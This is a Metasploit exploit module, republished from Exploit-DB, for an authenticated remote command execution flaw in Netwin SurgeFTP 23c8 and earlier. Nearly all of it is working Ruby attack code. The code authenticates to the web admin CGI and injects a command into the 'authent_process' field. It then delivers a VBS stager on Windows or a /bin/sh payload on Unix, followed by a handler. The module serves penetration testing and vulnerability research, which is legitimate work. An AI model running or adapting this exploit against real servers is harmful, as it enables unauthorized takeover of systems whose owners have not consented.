Netwin SurgeFTP – Remote Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2012-12-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/23601/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GoodRanking
    
    	include Msf::Exploit::Remote::HttpClient
    	include Msf::Exploit::CmdStagerVBS
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Netwin SurgeFTP Remote Command Execution',
    			'Description'=> %q{
    					This module exploits a vulnerability found in Netwin SurgeFTP, version 23c8
    				or prior.In order to execute commands via the FTP service, please note that
    				you must have a valid credential to the web-based administrative console.
    			},
    			'Author' =>
    				[
    					'Spencer McIntyre',#Who found this vuln?
    					'sinn3r'
    				],
    			'License'=> MSF_LICENSE,
    			'References' =>
    				[
    					['EDB', '23522']
    				],
    			'Targets'=>
    				[
    					[ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win'}],
    					[ 'Unix',{ 'Arch'=>ARCH_CMD, 'Platform'=>'unix', 'Payload'=>{'BadChars' => "\x22"}} ]
    				],
    			'DisclosureDate' => 'Dec 06 2012'))
    
    		register_options(
    			[
    				Opt::RPORT(7021),
    				OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
    				OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ])
    			], self.class)
    	end
    
    	def check
    		res = send_request_raw({'uri'=>'/cgi/surgeftpmgr.cgi'})
    		if res and res.body =~ /surgeftp\x20\x0d\x0a\x20\x20Manager CGI/
    			return Exploit::CheckCode::Detected
    		else
    			return Exploit::CheckCode::Safe
    		end
    	end
    
    	def execute_command(cmd, opts)
    		http_send_command("cmd.exe /q /c #{cmd}")
    	end
    
    	def http_send_command(command)
    		res = send_request_cgi(
    		{
    			'uri' => '/cgi/surgeftpmgr.cgi',
    			'method'=> 'POST',
    			'basic_auth' => datastore['USERNAME'] + ":" + datastore['PASSWORD'],
    			'vars_post' =>
    				{
    					'global_smtp' => "",
    					'global_restart' => "",
    					'global_style' => "",
    					'global_bind' => "",
    					'global_passive_ip' => "",
    					'global_passive_match' => "",
    					'global_logon_mode' => "",
    					'global_log_host' => "",
    					'global_login_error' => "",
    					'global_adminip' => "",
    					'global_total_users' => "",
    					'global_con_perip' => "",
    					'global_ssl' => "",
    					'global_ssl_cipher_list' => "",
    					'global_implicit_port' => "",
    					'log_level' => "",
    					'log_home' => "",
    					'global_watcher_program_ul' => "",
    					'global_watcher_program_dl' => "",
    					'authent_process' => command,
    					'authent_cmdopts' => "",
    					'authent_number' => "",
    					'authent_domain' => "",
    					'global_strip_user_domain' => "",
    					'global_noclass' => "",
    					'global_anon_hammer_over_time' => "",
    					'global_anon_hammer_max' => "",
    					'global_anon_hammer_block_time' => "",
    					'global_port' => "",
    					'global_mgr_port' => "",
    					'global_mgr_ssl_port' => "",
    					'cmd_global_save.x' => "36",
    					'cmd_global_save.y' => "8",
    				}
    		})
    
    		if res and res.body =~ /401 Authorization failed/
    			fail_with(Exploit::Failure::NoAccess, "Unable to log in!")
    		elsif not (res and res.code == 200)
    			fail_with(Exploit::Failure::Unknown, 'Failed to execute command.')
    		end
    	end
    
    	def exploit
    		case target['Platform']
    		when 'win'
    			print_status("#{rhost}:#{rport} - Sending VBS stager...")
    			execute_cmdstager({:linemax=>500})
    
    		when 'unix'
    			print_status("#{rhost}:#{rport} - Sending payload...")
    			http_send_command(%Q|/bin/sh -c "#{payload.encoded}"|)
    		end
    
    		handler
    	end
    end